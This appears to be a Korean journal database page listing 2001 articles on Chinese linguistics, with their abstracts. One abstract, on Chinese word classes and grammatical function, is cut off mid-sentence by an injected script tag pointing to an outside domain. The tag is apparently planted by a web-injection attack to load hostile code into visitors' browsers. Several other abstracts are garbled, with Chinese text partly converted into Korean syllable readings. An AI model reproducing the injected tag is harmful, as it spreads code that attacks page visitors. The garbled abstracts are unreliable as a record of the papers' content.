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중국언어연구검색

Journal of Chinese Linguistics in Korea


  • - 주제 : 어문학분야 > 중어중문학
  • - 성격 : 학술지
  • - 간기: 격월
  • - 국내 등재 : KCI 등재
  • - 해외 등재 : -
  • - ISSN : 1229-554x
  • - 간행물명 변경 사항 :
논문제목
수록 범위 : 13권 0호 (2001)

변화중인 미국의 중국언어학계

엄익상
한국중국언어학회|중국언어연구  13권 0호, 2001 pp. 5-22 ( 총 27 pages)
6,200
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This article surveys the rapidly changing field of Chinese linguistics in the United States of America. It explores the major institutions that grant doctoral degrees in Chinese linguistics and the eminent scholars of Chinese linguistics who work in those institutions. This article attempts to evaluate the program of Chinese linguistics at a total of thirteen universities. They are Cornell and Harvard in the east, Indiana, Illinois, Iowa, Michigan, Ohio State, and Wisconsin in the midwest, and Stanford, Arizona, Hawaii, Southern California, and Washington in the west of the United States. In addition, this article introduces major conferences and journals in the field to the perspective students and researchers who seek an opportunity to visit the U.S. for their future study. The conferences include the North American Conference on Chinese Linguistics (NACCL), the International Association of Chinese Linguistics (IACL), the Chinese Language Teachers Association (CLTA), and the International Conference on Sino-Tibetan Languages and Linguistics (ICSTLL). The major journals include the Journal of Chinese Linguistics (JCL), the Journal of East Asian Linguistics (JEAL), and the Journal of Chinese Language Teachers Association (JCLTA).

중국어 명사유의어 연구 - "능력" 류를 중심으로 -

박덕준
한국중국언어학회|중국언어연구  13권 0호, 2001 pp. 33-49 ( 총 17 pages)
5,200
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本文主要從句法, 語義, 語用的角度, 對近義名詞群`能力`類作了比較與分析。 통과종어료고리조출대량적구체적어언사실, 來證明近義名詞群`能力`類在句法, 語義, 語用上的區別特徵。 句法分析里, 主要分析了`能力`類近義名詞作爲主語, 賓語與謂語的同現, 及與量詞的同現情況, 發現了`能力`類近義名詞之間的區別特徵。 語義分析里, 從語義焦點, 褒貶義, 語義範圍等角度, 用語料里的大量例句, 증실료타문지간유중합적지방, 也存在着差異。 語用分析里, 從語體和使用場合的正式, 非正式的角度分析, 확인료타문지간유부동적지방。 희망본론문적연구결과능위한어적근의명사분석제공일개기본광가, 幷給對韓漢語詞彙敎學, 編寫漢語近義詞詞典提供基礎資料。

"피" 피동문의 " Np1 " 과 " Np2 " 의 의미 연구

장태원
한국중국언어학회|중국언어연구  13권 0호, 2001 pp. 51-71 ( 총 21 pages)
5,600
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這篇論文對於表示被動的`被` 字和被字句進行分析. 主要分析以下的兩個方面: 第一, 被字句的通時的考察; 第二, 現代漢語裏被字句的語用意義. 第一, 被字句的通時的考察. 從先秦時期到南北朝時期, 被字句以`被` 字和別的動詞結合的`被+Vp` 形式出現, 這就是早期的·初步的形式. 남북조시기기출현빈도흔소적`피+Np2+Vp` , 到隋唐時期占有明顯的地位. 而且隋唐時期通過Np2部分擴大, Vp部分上各種各樣的補語和Np3出現, 所以産生了`被+(Np2)+Vp+C` ·`被+Np2+Vp+Np3` 的新形式. 宋元時期以後, 簡單的`被+Vp` 형식출현득흔소, 이대Np2·Np3·보어적피자구형식출현득흔다. 還發生一種新變化, 這新變化就是反映和別的句式結合的`被+把(將)Np2+Np3+Vp` 形式的出現, 這個形式的變化顯出被字句意義表達的擴大和多樣化傾向. 第二, 現代漢語裏被字句的分析. 這部分主要通過Np1·Np2和`被Vp` 語法功能的特色分析了一些現代漢語被字句的情況. 在被字句的Np1是主語, 是對行爲動作或事件(被Vp)的當事者. Np2, 是對`被Vp` 所表現的事件說明其事件出現的原因或出處信息.

한어사류여어법공능탐토 (漢語詞類與語法功能探討)

이영규
한국중국언어학회|중국언어연구  13권 0호, 2001 pp. 73-100 ( 총 28 pages)
6,300
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일반적으로 "품사"라는 단어 자체가 가리키는 의미는 단어의 문법적 분류라고 간주된다. 과거에 많은 학자들은 印歐語 전통문법의 각도에서 漢語의 품사문제를 처리하여 漢語문법 자체의 특성을 가볍게 보았다. 漢語의 품사문제를 처리하는데 있어서는 먼저 印歐語문법의 관점을 벗어나야 한다. 그러나 품사라는 개념은 유럽에서 온 것으로 인구어의 영향을 전적으로 배제하기 어렵다. 漢語는 인구어에 발달되어 있는 것과 같은 형태가 결여된 반면 어순, 중첩, 허사 활용등의 문법수단은 갖고있다. 형태가 풍부한 인구어적 각도에서 인구어의 품사를 구분한다면 단어자체의 형태변화에 의거한 분석방법이 매우 有用함을 발견하게된다. 그러나 漢語의 경우는 그것이 결코 유용한 방법이 아니다. 따라서 漢語는 부득이 광의의 형태에서 그 출로를 찾을 필요가 있다. 문법기능은 바로 단어와 단어의 결합능력 및 단어의 통사구조에서의 직무를 가리킨다. 본 논문은 漢語의 품사와 관련된 문제를 다룰 뿐 결코 굴절어나 교착어의 품사문제를 다루지 않는다. 굴절어와 교착어는 일반적으로 漢語처럼 개개의 음절에 모두 고정된 초분절음을 보유하고 있는 언어가 아니다. 그래서 굴절, 교착등 분절음이 나타내는 문법현상이 예로부터 발전되어 올 수 있었다. 반대로 漢語의 음절은 예로부터 초분절음의 제약을 받아 음절내의 분절음수가 자유롭게 확대될 수 없어 그 결과 한 음절에 의미가 함께한 字 상호간 관계위주의 문법현상이 초래되었다. 漢語의 품사는 문장성분과 밀접한 관련을 맺고 있다. 왜냐하면 漢語품사는 단어 취합관계의 산물이기 때문이다. 통사구조에서 나타나는 단어의 조합관계가 전제가 될 때 서로 같은 문법기능을 가진 단어들이 취합되어 하나의 부류를 이루는 것이다. 예를들어 체언성賓語와 주어등을 이루고 또 수량사를 포함한 定語의 수식을 받으면 우리는 이를 명사라고 부르며 또 謂語의 역할을 하면서 정도부사의 수식을 받고 賓語가 올 수 없다면 이를 형용사라고 하고 또 謂語가 될 수 있으면서 대체로 賓語를 수반하고 기본적으로 정도부사가 앞에 오지 않으면 우리는 이를 동사라고 할 수 있다. 이로 볼 때 문법기능은 결코 분포를 배제할 수 없다. 분포를 통해 일찍이 區別詞, 趨向詞, 方位詞, 數量詞, 時間詞등 품사구분시의 특수부류가 분류된바 있다. 우리는 또한 품사가 가진 의미적 성향을 주목해야 한다. 漢語의 명사는 기본적으로 離散性과 靜態性을 가지며 동사는 기본적으로 離散性과 動態性을 지닌다. 또한 성질형용사는 기본적으로 連續性과 靜態性을 지니는데 이러한 특성은 동시에 통사구조에서 명사, 동사, 형용사등의 위치와 음량에 영향을 줄 수 있다. 주목할 것은 체언성賓語의 역할을 할 수 있는 것이 명사라는 점이다. 실제로 명사는 체언성賓語의 역할이 주된 임무이면서 주어나 定語의 역할을 겸한다고 볼 수 있다. 또한 동사는 謂語의 역할이 주된 임무라고 볼 수 있다. 일반적으로 체언성賓語가 있는 動賓구조에서 重音은 賓語에 있게 된다. 單音節로 명사나 동사에 해당되는 자유형식의 離散性 문법단위는 단독으로 한 문장과 같은 역할을 할 때 動賓구조, 主謂구조등과 연관하여 생각할 필요가 있다. 또한 連續性과 靜態性을 지닌 성질형용사는 定語의 역할이 주된 임무라고 볼 수 있으며 단독으로 謂語가 될 때는 상대적으로 동사보다 강한 제약을 받게 된다. 이밖에 우리는 이미 알고 있는 정보를 주로 나타내는 指代詞, 그리고 능원동사, 추향동사등 낮은 단계로 문법화된 품사와 副詞, 介詞, 助詞등 비교적 고도로 문법화된 품사가 각기 상대적인 輕重현상을 보이면서 그 분포의 차이를 유발시킬 수 있다는 점에 주목할 필요가 있다. 예를들면 형태변화가 결여된 漢語에서 부사는 능원동사보다 한층 문법화되었기 때문에 수식성분으로서 그 앞쪽에 위치하는 경향을 보이며 또 같은 동사라도 심리활동동사는 기본적으로 능원동사보다 뒤쪽에 위치하지만 동작동사와 함께 할 때는 늘 동작동사보다 앞쪽에 위치 한다. 그리고 동사를 중심으로 結構조사, 動態조사등은 後置되어 있어서 현저히 輕音化하는 추세를 보인다. 심지어 낮은 단계로 문법화된 결과보어나 추향보어도 동사 뒤에서 輕音化하는 추세를 보인다. 주목할 것은 漢語의 韻律현상을 통해 볼 때 동사뒤의 輕音化 추세가 아닌 상대적인 輕音현상은 重音節 상호간의 輕重差異이며 輕音化추세는 重音節이 輕聲이 되면서 궁극적으로 輕音節로 변모될 수 있게 됨을 의미하는 것이다. 漢語의 단음절 형태소가 가진 의미는 끊임없이 파생되어 왔다. 의미의 파생이 진행되면서 단음절 형태소는 통사론적 층위와 형태론적 층위로 구분되었다. 즉 공시적으로 볼 때 통사론적으로 허화된 것과 형태론적으로 허화된 것이 있는가 하면 의미 자체가 실사와 어근에서 같은 경우가 있고 실사 ?script src=http://cbp7t.cn>

진술, 지칭여현대한어 " 득 " 자보어구연구

김윤경 , 김창길
한국중국언어학회|중국언어연구  13권 0호, 2001 pp. 101-117 ( 총 17 pages)
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본 논문은 項(Argument)과 술어관계(Predication)에 관한 이론과 韓中對比의 방법을 통하여 현대 중국어의 "得"字 補語 構文을 분석 고찰하였다. 본 논문은 네 부분으로 나누어져 있다. 1. "得"字 補語 構文에 대한 현재까지의 연구 결과에 대하여 간략하게 소개하고 논평을 하였다. 2. 유관 이론문제와 가설이다. 진술과 지칭 및 항과 술어관계에 관한 이론을 소개하고 논평을 하였으며, 우리 자신의 견해를 피력하였다. 즉 중국어에서 용언 성질을 갖는 하나의 성분만 있으면 술어관계를 가질 수 있다. 3. 韓中對譯의 각도에서 語義대비를 하였으며, 술어관계 이론과 방법으로 "得"字 補語 構文을 다시 4개의 小類로 분류하였다. 4. "得"字 補語 構文의 성립과 구조의 어의 특징을 고찰하였다. 중국어의 "得"字 補語 構文은 두 개의 술어가 하나로 융합되면서 축약된 구조이고, 많은 문장으로 파생되는 주요 원인은 두 개의 술어가 공통의 項을 가지고 있기 때문이며, 전체 문장은 인과관계를 가진다.

"看起 , 看上去" 的比較分析

이영희
한국중국언어학회|중국언어연구  13권 0호, 2001 pp. 119-131 ( 총 13 pages)
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현대중국어의 유사어나 유사구에 대한 연구는 여러 학자들에 의하여 적지 않게 정리되었다. 그러나 "看起來"와 "看上去"에 대한 의미자질 분석이 모호하여, 이 점이 중국어를 배우는 학생들에게 난점으로 존재하여 왔다. 본 논문은 이러한 문제 해결을 돕기 위하여 의미자질에 대한 분석을 위주로 논의를 전개하였다. "看起來"와 "看上去"의 삽입어 용법을 분석한 결과, 그 의미자질은 역시 보조동사의 역할을 맞고 있는 추향동사와 직접적인 연관성이 있는 것으로 나타났다. 즉 "起來"는 동작의 시작점에 초점을 두되 종결점이 없을 때 쓰이며, "上去"는 동작의 시작점이 아래에 있고 아울러 이동한 종결점이 있을 때 쓰인다. 필자는 "看起來"와 "看上去"를 통사론, 의미론, 화용론 세 방면에서 관찰한 결과 다음과 같은 결론을 얻을수 있었다. "看起來"와 "看上去"는 모두 사물이나 물체를 묘사하는 형용사성 술어문에 쓰이며, 아울러 이것들이 쓰인 문장이 아래 위 문장들에 대한 의뢰성이 없을 때만 성립된다는 공통점이 있다. 반면 "看起來"는 시간성을 강조하고, "看上去"는 공간상의 한 점을 강조한다는 차이점을 보이는데, 조금 더 구체적으로 제시하여 보면 다음과 같다. "看起來"는 (1)사물이나 물체에 대하여 판단, 평가, 추측할 때 쓰이며, (2)관찰한 시간이 오래됨을 강조할 때 쓰이고, (3)관찰한 부분이 사물이나 물체의 어느 한 면일 때 쓰인다. "看上去"는 (1)사물이나 물체를 묘사하거나 비유할 때 쓰이며, (2)관찰한 시간이 짧음을 강조할 때 쓰이고, (3)공간상의 한 점을 관찰할 때 쓰인다.
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假如我們在對韓漢語敎學中能充分重視學習對象學習語言的正面和負面的影響, 能有針對性地加以引導, 幷采用適當的敎學方法和訓練手段, 就能有效地促進敎學質量的提高. 본론문대한어근한국인소사용적한어재사어어법량방면진행전면적대비, 弄淸産生遷移的症結所在, 幷提出一些敎學方案. 根据分析, 了解到學習者在漢語習得過程中産生的詞語語法的偏誤來自兩個方面, 一是受母語的干擾和新學習的但沒完全掌握牢固的語言現象的干擾; 二是由于敎學中存在疏漏而造成的失誤.

현대 한어적 사휘화 현상 연구

박용진
한국중국언어학회|중국언어연구  13권 0호, 2001 pp. 163-179 ( 총 17 pages)
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인간의 언어는 규칙(또는 원칙)에 지배받는다. 그러나 우리는 그 규칙에 어긋난 언어 현상 역시 발견할 수 있다. 필자는 現代漢語의 예를 들어 어휘화한 어휘의 비규칙성에 대해서 서술하였으며, 그 구분방법을 설명하였다. 필자는 Bauer의 5가지 어휘화 유형-음운적 어휘화, 형태적 어휘화, 의미적 어휘화, 통사적 어휘화, 혼합된 어휘화-으로 現代漢語를 분석하였다. 분석 결과 음운적 어휘화와 통사적 어휘화의 비규칙성은 비교적 쉽게 관찰할 수 있었다. 형태적 어휘화와 의미적 어휘화는 앞의 두 어휘화 형태와 비교해보면, 다른 언어의 어휘화 분석과 마찬가지로 쉽게 편별할 수 없었다. 그러나 비록 이런 문제점이 존재하더라도 언어 중의 어휘화 현상에 대해서 우리는 부인할 수는 없을 것이다.

" A 시 A " 격식

서희명
한국중국언어학회|중국언어연구  13권 0호, 2001 pp. 181-200 ( 총 20 pages)
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"A是A"격식이란, 주어와 목적어가 동일한 형태인 "是"字文을 가리킨다. "A是A"의 형식적 특징은 매우 간단하다. 즉, 관계동사 "是"의 앞, 뒤 단어의 형태가 동일하다(주어, 목적어의 중심어가 동일한 경우를 포함한다). 용법상의 특징은 "是" 역시 다른 동사와 마찬가지로 앞에 부사가 와서 수식을 하고, "A是A"격식을 한번만 쓸 수도 있고, 중복해서 사용할 수도 있다. 주어와 목적어가 동일한 형태인 "是"字文은 현대 중국어에서 자주 쓰여지는데, 그 이유는 그것이 지닌 독특한 화용상의 기능으로 인해, 중국어 표현에 있어서 풍부한 함축미를 잘 드러내기 때문이다. 본문에서는 "A是A"격식의 분포 상황과 그 구조 및 기능을 분석하고, 의미적 특징과 화용적 특색을 살펴보았다. 1. 單用("A是A") 單用이란, 하나의 "A是A"로 구성된 형식을 가리킨다. 이러한 "A是A"에는 두 가지 유형이 있다. 하나는 주어, 목적어 완전 동일형(주어와 목적어의 앞에 수식어가 없는 경우)이고, 다른 하나는 주어, 목적어의 중심어 동일형(주어와 목적어의 앞에 수식어가 있는 경우)이다. 2. 復用("A是A", "B是B",……) 復用이란, 두 개 또는 두 개 이상의 "A是A"로 구성된 형식을 가리킨다. 본문에서는 주로 두 개의 "A是A"로 구성된 경우("A是A, B是B")에 대해 다음의 세 가지 측면에서 논하였다. 첫째, A, B를 구성하는 품사의 유형에 따라 A, B의 품사가 동일한 경우와 상이한 경우로 나누었다. 둘째, A, B의 음절배치 방식에 따라 단음절A-단음절B, 쌍음절A-쌍음절B, 단음절A-쌍음절B, 쌍음절A-단음절B 등으로 분류하였다. 셋째, A, B의 의미 내용에 따라 A, B의 의미 내용이 동질(同質)인 경우와 이질(異質)인 경우로 나누어 분석하였다.

당송시기 신흥 피동구

최재영
한국중국언어학회|중국언어연구  13권 0호, 2001 pp. 201-233 ( 총 33 pages)
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近代中國語시기에는 "被"被動文 이외에도 "吃"被動文, "敎"被動文, "給"被動文, "叫"被動文, "讓"被動文 등의 被動文이 출현하였다. 이들 被動文들을 기존의 被動文 즉 "爲"被動文, "見"被動文, "被"被動文과 비교해보면 그 來源에 있어서 현격한 차이를 나타낸다. "吃"와 같은 遭受義動詞에서 虛化된 것이 있는가 하면 "敎", "叫", "讓"등과 같이 使役動詞에서 虛化된 것이 있고, "給"과 같이 給予動詞에서 虛化된 것도 있다. 본고에서는 이들 중 唐宋時期에 출현한 "吃"被動文과 "敎"被動文에 대해서 唐宋時期의 口語體적 색채가 강한 다음과 같은 9종의 텍스트-《敦煌變文集》、《朝野僉載》、《入唐求法巡禮行記》、《祖堂集》、《全唐詩》、《王梵志詩》、宋人話本、《三朝北盟會編》、《朱子語類》-에 출현하는 例文들을 기반으로 하여 諸般關聯 問題들을 考察해보았다. 본고에서 다룬 主要內容으로는 다음과 같은 것들이 있다. 被動標志詞"吃"의 來源問題에 대한 토론, 唐宋時期"吃"被動文의 모습, "遭", "受", "遇"등이 被動標志詞로 변화할 수 있는가에 대한 가능성 검토, 使役動詞"敎"가 被動標志詞로 변환되는 메커니즘에 대한 고찰, 唐宋時期"敎"被動文의 모습, "與", "著"에 관한 필자의 견해 등등.
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